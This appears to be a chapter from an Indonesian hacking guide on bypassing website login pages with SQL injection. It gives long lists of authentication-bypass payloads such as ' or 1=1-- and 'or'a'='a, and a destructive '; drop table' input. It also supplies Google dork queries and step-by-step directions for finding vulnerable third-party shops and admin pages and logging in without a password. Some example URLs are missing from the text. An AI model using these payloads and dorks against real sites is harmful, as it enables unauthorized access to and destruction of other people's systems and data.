BAB
6
ByPass
Halaman Login
Untuk mengakses suatu sistem, misalnya sebuah
situs web, biasanya diperlukan proses login. Supaya hanya user yang sah atau
berhak saja yang boleh memasuki situs web tersebut, hal ini ditandai dengan
adanya kotak input username dan password. Hal ini bertujuan untuk memfilter dan
mengenal identitas user yang memasuki sebuah sistem. Dalam bab ini, Anda akan
mempelajari bagaimana menembus sebuah halaman login dengan teknik SQL
Injection. Sebab, salah satu masalah utama dalam pemakaian SQL adalah adanya
isi kelemahan pada halaman login.
Misalnya, Anda bisa melakukan searching dengan
kata kunci berikut:
-
Admin.php
-
Admin.asp
-
Login.php
-
Login.asp
Dengan
empat string di atas, Anda akan menemukan banyak halaman admin.
Pada
halaman login, Anda bisa memasukkan kode perintah, misalnya:
User:
admin
Pass:’
or 1=1—
Atau:
User
name : ‘or’=’
Password
: ‘or’=’
Penjelasannya
sperti ini:
Ketika
input username dan password diisi
seperti di atas, maka yang terjadi pada proses
input adalah sebagai berikut:
Var
sql = “select * from users where username = ‘ “ + username + “ ‘ and password =
‘ “ + password + “ ‘ “
‘
Hal
ini bisa terjadi karena, ketika input tersebut diproses oleh sistem, yang terjadi adalah operasi
tersebut dianggap valid.
Var
sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘ and password = ‘ ‘ OR ‘ ‘=’ ‘ ;
Misalnya,
sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account
dan password.
Account
|
Password
|
Admin
|
Pop3y3
|
Joko
|
Jack1
|
Kembali pada contoh kasus
sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account
maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:
’’or’’=’’=’’ AND
password=’’or’’=’’
Dalam SQL, fungsi logika OR
untuk untuk mengembalikan nilai False menjadi True.
Mungkin ada di antara pembaca
yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi
kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama
account ‘joko’ seperti yang terdapat pada tabel diatas.
Caranya dengan memasukkan
input padatext box dengan ‘—sedangkan pada bagian password diisi dengan ‘OR”=’
Jika dilihat padda synntax
SQL , bentuknya adalah:
SELECT * FROM user WHERE account=’joko’- -‘ AND
password=’ ’or’ ’=’ ’
Fungsi pemakaian tanda double
minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab
sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan
tanda # menjadi joko’#.
Sedangkan pada kotak isian
password bisa diisi dengan bebas’ or ‘x’=’x’
Berikut penjelasannya.
Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti
berikut:
SELECT * FROM user WHERE account=’joko’ AND
password=’ bebas’ or ‘x’=’x’
Akibatnya pada bagian
password akan terisi dengan nilai bebas. Tentu saja input ini bernilai
salah (false) dan menyebabkan seseorang
tidak akan bisa login. Karena password tersebut tidak tersimpan pada database.
Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem
akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai
salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya
‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.
Berikut beberapa syntax yang sering
digunakan dalam Google:
-
/admin.php
-
/login.php
-
/logon.php
-
/adminlogin.php
-
/adminlogon.php
-
/admin_login.php
-
/admin_logon.php
-
/admin/admin.php
-
/admin/login.php
-
/admin/logon.php
-
/admin/adminlogin.php
-
/admin/adminlogon.php
-
/admin/admin_login.php
-
/admin/admin_logon.php
-
/administrator/admin.php
-
/administrator/login.php
-
/administrator/logon.php
-
/reboot/login.php
-
/admin/index.php
Selain
itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda
kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi
dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.
Halaman yang akan muncul dari tindakan di
atas, biasanya adalah halaman Login
.
Untuk dapat masuk ada banyak kode yang bisa
digunakan, di antaranya:
Username:
‘or’a’=’a
Password:
‘or’a’=’a
Jika tidak berhasil maka kode tersebut
divariasikan menjadi:
Username:
admin
Password:
‘or’a’=’a
Berikut beberapa kode variasinya:
‘ or 0=0 - -
‘ or 0=0 - -
or 0=0 - -
‘ or 0=0 #
‘ or 0=0 #
or 0=0 #
‘ or ‘x’=’x
‘ or “x”=”x
‘) or ( ‘x’=’x
‘ or 1=1 - -
‘ or 1=1 - -
or 1=1 - -
‘ or a=a - -
|
“ or “a”=”a
‘ ) or (
‘a’=’a
“ ) or ( “a”=”a
hi ” ) or
“a”=”a
hi ” or 1=1 - -
hi ’ or 1=1 - -
hi ’ or ‘a’=’a
hi ‘ ) or (
‘a’=’a
hi “) or (
“a”=”a
‘=’
‘ LIKE ‘
‘ =0 - - +
|
Untuk jawaban kedua, misalnya kita menggunakan
perintah ‘or’ 1=1 - - untuk inpiut account-nya sedangkan input password, kita
misalkan menggunakan kata ‘free’.
Sewaktu input dari account atau username
sebuah situs web dengan memasukkan string ‘or’ 1=1 - - hal ini akan membuat SQL
menjadi bingung karena SQL membacanya:
SELECT
* FROM user WHERE account=”or 1=1 - - AND paswsword= ‘free’
Perlu anda ketahui juga bahwa aksi SQL
injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login
saja. Misalnya, anda bisa menggunakan perintah:
Username: ’; drop table userid- -
Password:
Dilihat dari cara kerjanya, perintah di atas
akan bekerja:
Var sql = “select * from userid where username = `’ drop table
userid--
MODEL SERANGAN SEDERHANA
Contoh pemakaian double minus
pada SQL Injection attack:
Username : admin’ - -
SELECT * FROM members WHERE username = ‘admin’- - AND
password= ‘password’
Fungsi perintah di atas akan
membuat Anda bisa login sebagai admin.
Secara umum, untuk
mencocokkan user yang login perintah SQL-nya adalah:
Select * from admin where
username = input_username AND password = input_password
Conto soal:
Jika diketahui username
adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’.
Administrator berniat untuk login. Tentukan statement-nya?
Diketahui:
Username:
administrator
Password: heloworld
Ditanyakan:
SQL statement= ...?
Penyelesaian:
Rumus:
SELECT * FROM admin WHERE
username = input_username AND password = input_password
Masukkan yang diketahui ke
dalam rumus, menjadi:
Select * from admin where
username = ‘administrator’ and password = heloworld
Sekarang, saya akan
memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah
situs URL:
http://www.situs-target.com/category=buku
sekarang, kita asumsikan URL
nya diganti menjadi:
Maka variabel v_cat sama
dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:
SELECT * FROM Product WHERE
Pcategory=’buku’ or 1=1- -‘
Selain beberapa kode di atas
yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:
EXPLOIT ByPASS HALAMAN LOGIN
Subbab ini hanyalah
bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL
Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu
yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan
pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.
Gunakan syntax dibawah ini
pada halaman pencarian Google untuk mencari situs web yang
bisa Anda eksploitasi (exploit).
Syntax: inurl:”cart.php?m=”
Nantinya Anda akan menemukan
situs target katakanlah:
Atau,
Dari situs target yang Anda peroleh tersebut, hapuslah
string:cart.php?m=product_list&c=10
Menjadi: http://www.situs-target.com/
Sekarang tambahkan kata admin
dibelakangnya, menjadi: http://www.situs-target.com/admin
Untuk masuk pada situs web
dengan model seperti ini Injection nya adalah :
Username: admin
Password:’or”=”
Syntax Google berikutnya yang
bisa Anda coba adalah :
allinurl:shopadmin.asp
Di mana username
dan password yang digunakan adalah:
Username: ‘or’1
Password:’or’1
ConversionConversion EmoticonEmoticon